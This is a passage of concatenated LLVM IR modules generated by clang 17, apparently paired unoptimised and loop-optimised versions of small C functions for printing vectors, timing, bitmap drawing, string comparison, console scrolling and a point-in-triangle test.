%19 = add nsw i32 %18, 1
store i32 %19, ptr %5, align 4
br label %6, !llvm.loop !6
20: ; preds = %6
ret void
}
declare i32 @printf(ptr noundef, i64 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
|
; ModuleID = '<stdin>'
source_filename = "/tmp/tmpf0i3sq8q.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [4 x i8] c"%d \00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @printVector(ptr noundef %0, i32 noundef %1) #0 {
%3 = alloca ptr, align 8
%4 = alloca i32, align 4
%5 = alloca i32, align 4
store ptr %0, ptr %3, align 8
store i32 %1, ptr %4, align 4
store i32 0, ptr %5, align 4
%6 = load i32, ptr %5, align 4
%7 = load i32, ptr %4, align 4
%8 = icmp slt i32 %6, %7
br i1 %8, label %.lr.ph, label %22
.lr.ph: ; preds = %2
br label %9
9: ; preds = %.lr.ph, %16
%10 = load ptr, ptr %3, align 8
%11 = load i32, ptr %5, align 4
%12 = sext i32 %11 to i64
%13 = getelementptr inbounds i64, ptr %10, i64 %12
%14 = load i64, ptr %13, align 8
%15 = call i32 @printf(ptr noundef @.str, i64 noundef %14)
br label %16
16: ; preds = %9
%17 = load i32, ptr %5, align 4
%18 = add nsw i32 %17, 1
store i32 %18, ptr %5, align 4
%19 = load i32, ptr %5, align 4
%20 = load i32, ptr %4, align 4
%21 = icmp slt i32 %19, %20
br i1 %21, label %9, label %._crit_edge, !llvm.loop !6
._crit_edge: ; preds = %16
br label %22
22: ; preds = %._crit_edge, %2
ret void
}
declare i32 @printf(ptr noundef, i64 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
|
; ModuleID = '/tmp/tmpscz9dau1.c'
source_filename = "/tmp/tmpscz9dau1.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
%struct.timeval = type { i32, i32 }
@FRGL_TimeMS.secbase = internal global i32 0, align 4
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @FRGL_TimeMS() #0 {
%1 = alloca %struct.timeval, align 4
%2 = call i32 @gettimeofday(ptr noundef %1, ptr noundef null)
%3 = load i32, ptr @FRGL_TimeMS.secbase, align 4
%4 = icmp ne i32 %3, 0
br i1 %4, label %8, label %5
5: ; preds = %0
%6 = getelementptr inbounds %struct.timeval, ptr %1, i32 0, i32 0
%7 = load i32, ptr %6, align 4
store i32 %7, ptr @FRGL_TimeMS.secbase, align 4
br label %8
8: ; preds = %5, %0
%9 = getelementptr inbounds %struct.timeval, ptr %1, i32 0, i32 0
%10 = load i32, ptr %9, align 4
%11 = load i32, ptr @FRGL_TimeMS.secbase, align 4
%12 = sub nsw i32 %10, %11
%13 = mul nsw i32 %12, 1000
%14 = getelementptr inbounds %struct.timeval, ptr %1, i32 0, i32 1
%15 = load i32, ptr %14, align 4
%16 = sdiv i32 %15, 1000
%17 = add nsw i32 %13, %16
ret i32 %17
}
declare i32 @gettimeofday(ptr noundef, ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '<stdin>'
source_filename = "/tmp/tmpscz9dau1.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
%struct.timeval = type { i32, i32 }
@FRGL_TimeMS.secbase = internal global i32 0, align 4
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @FRGL_TimeMS() #0 {
%1 = alloca %struct.timeval, align 4
%2 = call i32 @gettimeofday(ptr noundef %1, ptr noundef null)
%3 = load i32, ptr @FRGL_TimeMS.secbase, align 4
%4 = icmp ne i32 %3, 0
br i1 %4, label %8, label %5
5: ; preds = %0
%6 = getelementptr inbounds %struct.timeval, ptr %1, i32 0, i32 0
%7 = load i32, ptr %6, align 4
store i32 %7, ptr @FRGL_TimeMS.secbase, align 4
br label %8
8: ; preds = %5, %0
%9 = getelementptr inbounds %struct.timeval, ptr %1, i32 0, i32 0
%10 = load i32, ptr %9, align 4
%11 = load i32, ptr @FRGL_TimeMS.secbase, align 4
%12 = sub nsw i32 %10, %11
%13 = mul nsw i32 %12, 1000
%14 = getelementptr inbounds %struct.timeval, ptr %1, i32 0, i32 1
%15 = load i32, ptr %14, align 4
%16 = sdiv i32 %15, 1000
%17 = add nsw i32 %13, %16
ret i32 %17
}
declare i32 @gettimeofday(ptr noundef, ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmpa2oswffw.c'
source_filename = "/tmp/tmpa2oswffw.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @drawbmp(i64 noundef %0, i64 noundef %1, i64 noundef %2) #0 {
%4 = alloca i64, align 8
%5 = alloca i64, align 8
%6 = alloca i64, align 8
store i64 %0, ptr %4, align 8
store i64 %1, ptr %5, align 8
store i64 %2, ptr %6, align 8
%7 = load i64, ptr %4, align 8
%8 = load i64, ptr %5, align 8
%9 = load i64, ptr %6, align 8
%10 = call i32 @DrawBMP225(i64 noundef %7, i64 noundef %8, i64 noundef %9)
ret void
}
declare i32 @DrawBMP225(i64 noundef, i64 noundef, i64 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '<stdin>'
source_filename = "/tmp/tmpa2oswffw.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @drawbmp(i64 noundef %0, i64 noundef %1, i64 noundef %2) #0 {
%4 = alloca i64, align 8
%5 = alloca i64, align 8
%6 = alloca i64, align 8
store i64 %0, ptr %4, align 8
store i64 %1, ptr %5, align 8
store i64 %2, ptr %6, align 8
%7 = load i64, ptr %4, align 8
%8 = load i64, ptr %5, align 8
%9 = load i64, ptr %6, align 8
%10 = call i32 @DrawBMP225(i64 noundef %7, i64 noundef %8, i64 noundef %9)
ret void
}
declare i32 @DrawBMP225(i64 noundef, i64 noundef, i64 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmpqezolztg.c'
source_filename = "/tmp/tmpqezolztg.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @plainstring_less_double(ptr noundef %0, double noundef %1) #0 {
%3 = alloca ptr, align 8
%4 = alloca double, align 8
%5 = alloca [255 x i8], align 16
store ptr %0, ptr %3, align 8
store double %1, ptr %4, align 8
%6 = getelementptr inbounds [255 x i8], ptr %5, i64 0, i64 0
%7 = load double, ptr %4, align 8
%8 = call i32 @cstr_loaddouble(ptr noundef %6, double noundef %7)
%9 = load ptr, ptr %3, align 8
%10 = getelementptr inbounds [255 x i8], ptr %5, i64 0, i64 0
%11 = call i32 @plainstring_less(ptr noundef %9, ptr noundef %10)
ret i32 %11
}
declare i32 @cstr_loaddouble(ptr noundef, double noundef) #1
declare i32 @plainstring_less(ptr noundef, ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '<stdin>'
source_filename = "/tmp/tmpqezolztg.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @plainstring_less_double(ptr noundef %0, double noundef %1) #0 {
%3 = alloca ptr, align 8
%4 = alloca double, align 8
%5 = alloca [255 x i8], align 16
store ptr %0, ptr %3, align 8
store double %1, ptr %4, align 8
%6 = getelementptr inbounds [255 x i8], ptr %5, i64 0, i64 0
%7 = load double, ptr %4, align 8
%8 = call i32 @cstr_loaddouble(ptr noundef %6, double noundef %7)
%9 = load ptr, ptr %3, align 8
%10 = getelementptr inbounds [255 x i8], ptr %5, i64 0, i64 0
%11 = call i32 @plainstring_less(ptr noundef %9, ptr noundef %10)
ret i32 %11
}
declare i32 @cstr_loaddouble(ptr noundef, double noundef) #1
declare i32 @plainstring_less(ptr noundef, ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmp3ixgz84v.c'
source_filename = "/tmp/tmp3ixgz84v.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @btesh2_gfxcon_scrollUpN(i32 noundef %0) #0 {
%2 = alloca i32, align 4
store i32 %0, ptr %2, align 4
br label %3
3: ; preds = %7, %1
%4 = load i32, ptr %2, align 4
%5 = add nsw i32 %4, -1
store i32 %5, ptr %2, align 4
%6 = icmp sgt i32 %4, 0
br i1 %6, label %7, label %9
7: ; preds = %3
%8 = call i32 (...) @btesh2_gfxcon_scrollUp()
br label %3, !llvm.loop !6
9: ; preds = %3
ret i32 0
}
declare i32 @btesh2_gfxcon_scrollUp(...) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
|
; ModuleID = '<stdin>'
source_filename = "/tmp/tmp3ixgz84v.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @btesh2_gfxcon_scrollUpN(i32 noundef %0) #0 {
%2 = alloca i32, align 4
store i32 %0, ptr %2, align 4
%3 = load i32, ptr %2, align 4
%4 = add nsw i32 %3, -1
store i32 %4, ptr %2, align 4
%5 = icmp sgt i32 %3, 0
br i1 %5, label %.lr.ph, label %11
.lr.ph: ; preds = %1
br label %6
6: ; preds = %.lr.ph, %6
%7 = call i32 (...) @btesh2_gfxcon_scrollUp()
%8 = load i32, ptr %2, align 4
%9 = add nsw i32 %8, -1
store i32 %9, ptr %2, align 4
%10 = icmp sgt i32 %8, 0
br i1 %10, label %6, label %._crit_edge, !llvm.loop !6
._crit_edge: ; preds = %6
br label %11
11: ; preds = %._crit_edge, %1
ret i32 0
}
declare i32 @btesh2_gfxcon_scrollUp(...) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
|
; ModuleID = '/tmp/tmpc8aty8d4.c'
source_filename = "/tmp/tmpc8aty8d4.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @isPntInTri(ptr noundef %0, ptr noundef %1, ptr noundef %2, double noundef %3) #0 {
%5 = alloca ptr, align 8
%6 = alloca ptr, align 8
%7 = alloca ptr, align 8
%8 = alloca double, align 8
%9 = alloca [3 x double], align 16
%10 = alloca double, align 8
%11 = alloca i32, align 4
%12 = alloca i32, align 4
%13 = alloca double, align 8
%14 = alloca double, align 8
%15 = alloca double, align 8
%16 = alloca [3 x double], align 16
%17 = alloca double, align 8
%18 = alloca [3 x double], align 16
%19 = alloca double, align 8
store ptr %0, ptr %5, align 8
store ptr %1, ptr %6, align 8
store ptr %2, ptr %7, align 8
store double %3, ptr %8, align 8
store i32 1, ptr %12, align 4
store i32 0, ptr %11, align 4
br label %20
20: ; preds = %112, %4
%21 = load i32, ptr %11, align 4
%22 = icmp slt i32 %21, 3
br i1 %22, label %23, label %115
23: ; preds = %20
%24 = load ptr, ptr %5, align 8
%25 = load i32, ptr %11, align 4
%26 = add nsw i32 %25, 1
%27 = srem i32 %26, 3
%28 = sext i32 %27 to i64
%29 = getelementptr inbounds [3 x double], ptr %24, i64 %28
%30 = getelementptr inbounds [3 x double], ptr %29, i64 0, i64 0
%31 = load ptr, ptr %5, align 8
%32 = load i32, ptr %11, align 4
%33 = sext i32 %32 to i64
%34 = getelementptr inbounds [3 x double], ptr %31, i64 %33
%35 = getelementptr inbounds [3 x double], ptr %34, i64 0, i64 0
%36 = getelementptr inbounds [3 x double], ptr %16, i64 0, i64 0
%37 = call i32 @diffVt(ptr noundef %30, ptr noundef %35, ptr noundef %36)
%38 = load ptr, ptr %6, align 8
%39 = getelementptr inbounds [3 x double], ptr %16, i64 0, i64 0
%40 = getelementptr inbounds [3 x double], ptr %9, i64 0, i64 0
%41 = call i32 @crossProd(ptr noundef %38, ptr noundef %39, ptr noundef %40)
%42 = getelementptr inbounds [3 x double], ptr %9, i64 0, i64 0
%43 = getelementptr inbounds [3 x double], ptr %9, i64 0, i64 0
%44 = call double @dotProd(ptr noundef %42, ptr noundef %43)
store double %44, ptr %13, align 8
%45 = load ptr, ptr %7, align 8
%46 = load ptr, ptr %5, align 8
%47 = load i32, ptr %11, align 4
%48 = sext i32 %47 to i64
%49 = getelementptr inbounds [3 x double], ptr %46, i64 %48
%50 = getelementptr inbounds [3 x double], ptr %49, i64 0, i64 0
%51 = getelementptr inbounds [3 x double], ptr %18, i64 0, i64 0
%52 = call i32 @diffVt(ptr noundef %45, ptr noundef %50, ptr noundef %51)
%53 = getelementptr inbounds [3 x double], ptr %9, i64 0, i64 0
%54 = getelementptr inbounds [3 x double], ptr %18, i64 0, i64 0
%55 = call double @dotProd(ptr noundef %53, ptr noundef %54)
store double %55, ptr %10, align 8
%56 = load double, ptr %10, align 8
%57 = load double, ptr %10, align 8
%58 = fmul double %56, %57
store double %58, ptr %14, align 8
%59 = load double, ptr %8, align 8
%60 = load double, ptr %8, align 8
%61 = fmul double %59, %60
%62 = load double, ptr %13, align 8
%63 = fmul double %61, %62
store double %63, ptr %15, align 8
%64 = load double, ptr %14, align 8
%65 = load double, ptr %15, align 8
%66 = fcmp olt double %64, %65
br i1 %66, label %67, label %102
67: ; preds = %23
%68 = getelementptr inbounds [3 x double], ptr %16, i64 0, i64 0
%69 = call double @vecMag(ptr noundef %68)
store double %69, ptr %17, align 8
%70 = load double, ptr %17, align 8
%71 = load double, ptr %8, align 8
%72 = fadd double %70, %71
store double %72, ptr %15, align 8
%73 = load double, ptr %15, align 8
%74 = load double, ptr %15, align 8
%75 = fmul double %74, %73
store double %75, ptr %15, align 8
%76 = getelementptr inbounds [3 x double], ptr %18, i64 0, i64 0
%77 = getelementptr inbounds [3 x double], ptr %18, i64 0, i64 0
%78 = call double @dotProd(ptr noundef %76, ptr noundef %77)
store double %78, ptr %19, align 8
%79 = load double, ptr %19, align 8
%80 = load double, ptr %15, align 8
%81 = fcmp ogt double %79, %80
br i1 %81, label %82, label %83
82: ; preds = %67
store i32 0, ptr %12, align 4
br label %115
83: ; preds = %67
%84 = load ptr, ptr %7, align 8
%85 = load ptr, ptr %5, align 8
%86 = load i32, ptr %11, align 4
%87 = add nsw i32 %86, 1
%88 = srem i32 %87, 3
%89 = sext i32 %88 to i64
%90 = getelementptr inbounds [3 x double], ptr %85, i64 %89
%91 = getelementptr inbounds [3 x double], ptr %90, i64 0, i64 0
%92 = getelementptr inbounds [3 x double], ptr %18, i64 0, i64 0
%93 = call i32 @diffVt(ptr noundef %84, ptr noundef %91, ptr noundef %92)
%94 = getelementptr inbounds [3 x double], ptr %18, i64 0, i64 0
%95 = getelementptr inbounds [3 x double], ptr %18, i64 0, i64 0
%96 = call double @dotProd(ptr noundef %94, ptr noundef %95)
store double %96, ptr %19, align 8
%97 = load double, ptr %19, align 8
%98 = load double, ptr %15, align 8
%99 = fcmp ogt double %97, %98
br i1 %99, label %100, label %101
100: ; preds = %83
store i32 0, ptr %12, align 4
br label %115
101: ; preds = %83
br label %112
102: ; preds = %23
%103 = load double, ptr %10, align 8
%104 = fcmp ogt double %103, 0.000000e+00
br i1 %104, label %105, label %106
105: ; preds = %102
br label %111
106: ; preds = %102
%107 = load double, ptr %10, align 8
%108 = fcmp olt double %107, 0.000000e+00
br i1 %108, label %109, label %110
109: ; preds = %106
store i32 0, ptr %12, align 4
br label %115
110: ; preds = %106
br label %111
111: ; preds = %110, %105
br label %112
112: ; preds = %111, %101
%113 = load i32, ptr %11, align 4
%114 = add nsw i32 %113, 1
store i32 %114, ptr %11, align 4
br label %20, !llvm.loop !6
115: ; preds = %109, %100, %82, %20
%116 = load i32, ptr %12, align 4
ret i32 %116
}
declare i32 @diffVt(ptr noundef, ptr noundef, ptr noundef) #1
declare i32 @crossProd(ptr noundef, ptr noundef, ptr noundef) #1
declare double @dotProd(ptr noundef, ptr noundef) #1
declare double @vecMag(ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
|
; ModuleID = '<stdin>'
source_filename = "/tmp/tmpc8aty8d4.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @isPntInTri(ptr noundef %0, ptr noundef %1, ptr noundef %2, double noundef %3) #0 {
%5 = alloca ptr, align 8
%6 = alloca ptr, align 8
%7 = alloca ptr, align 8
%8 = alloca double, align 8
%9 = alloca [3 x double], align 16
%10 = alloca double, align 8
%11 = alloca i32, align 4
%12 = alloca i32, align 4
%13 = alloca double, align 8
%14 = alloca double, align 8
%15 = alloca double, align 8
%16 = alloca [3 x double], align 16
%17 = alloca double, align 8
%18 = alloca [3 x double], align 16
%19 = alloca double, align 8
store ptr %0, ptr %5, align 8
store ptr %1, ptr %6, align 8
store ptr %2, ptr %7, align 8
store double %3, ptr %8, align 8
store i32 1, ptr %12, align 4
store i32 0, ptr %11, align 4
%20 = load i32, ptr %11, align 4
%21 = icmp slt i32 %20, 3
br i1 %21, label %.lr.ph, label %.loopexit
.lr.ph: ; preds = %4
br label %22
22: ; preds = %.lr.ph, %111
%23 = load ptr, ptr %5, align 8
%24 = load i32, ptr %11, align 4
%25 = add nsw i32 %24, 1
%26 = srem i32 %25, 3
%27 = sext i32 %26 to i64
%28 = getelementptr inbounds [3 x double], ptr %23, i64 %27
%29 = getelementptr inbounds [3 x double], ptr %28, i64 0, i64 0
%30 = load ptr, ptr %5, align 8
%31 = load i32, ptr %11, align 4
%32 = sext i32 %31 to i64
%33 = getelementptr inbounds [3 x double], ptr %30, i64 %32
%34 = getelementptr inbounds [3 x double], ptr %33, i64 0, i64 0
%35 = getelementptr inbounds [3 x double], ptr %16, i64 0, i64 0
%36 = call i32 @diffVt(ptr noundef %29, ptr noundef %34, ptr noundef %35)
%37 = load ptr, ptr %6, align 8
%38 = getelementptr inbounds [3 x double], ptr %16, i64 0, i64 0
%39 = getelementptr inbounds [3 x double], ptr %9, i64 0, i64 0
%40 = call i32 @crossProd(ptr noundef %37, ptr noundef %38, ptr noundef %39)
%41 = getelementptr inbounds [3 x double], ptr %9, i64 0, i64 0
%42 = getelementptr inbounds [3 x double], ptr %9, i64 0, i64 0
%43 = call double @dotProd(ptr noundef %41, ptr noundef %42)
store double %43, ptr %13, align 8
%44 = load ptr, ptr %7, align 8
%45 = load ptr, ptr %5, align 8
%46 = load i32, ptr %11, align 4
%47 = sext i32 %46 to i64
%48 = getelementptr inbounds [3 x double], ptr %45, i64 %47
%49 = getelementptr inbounds [3 x double], ptr %48, i64 0, i64 0
%50 = getelementptr inbounds [3 x double], ptr %18, i64 0, i64 0
%51 = call i32 @diffVt(ptr noundef %44, ptr noundef %49, ptr noundef %50)
%52 = getelementptr inbounds [3 x double], ptr %9, i64 0, i64 0
%53 = getelementptr inbounds [3 x double], ptr %18, i64 0, i64 0
%54 = call double @dotProd(ptr noundef %52, ptr noundef %53)
store double %54, ptr %10, align 8
%55 = load double, ptr %10, align 8
%56 = load double, ptr %10, align 8
%57 = fmul double %55, %56
store double %57, ptr %14, align 8
%58 = load double, ptr %8, align 8
%59 = load double, ptr %8, align 8
%60 = fmul double %58, %59
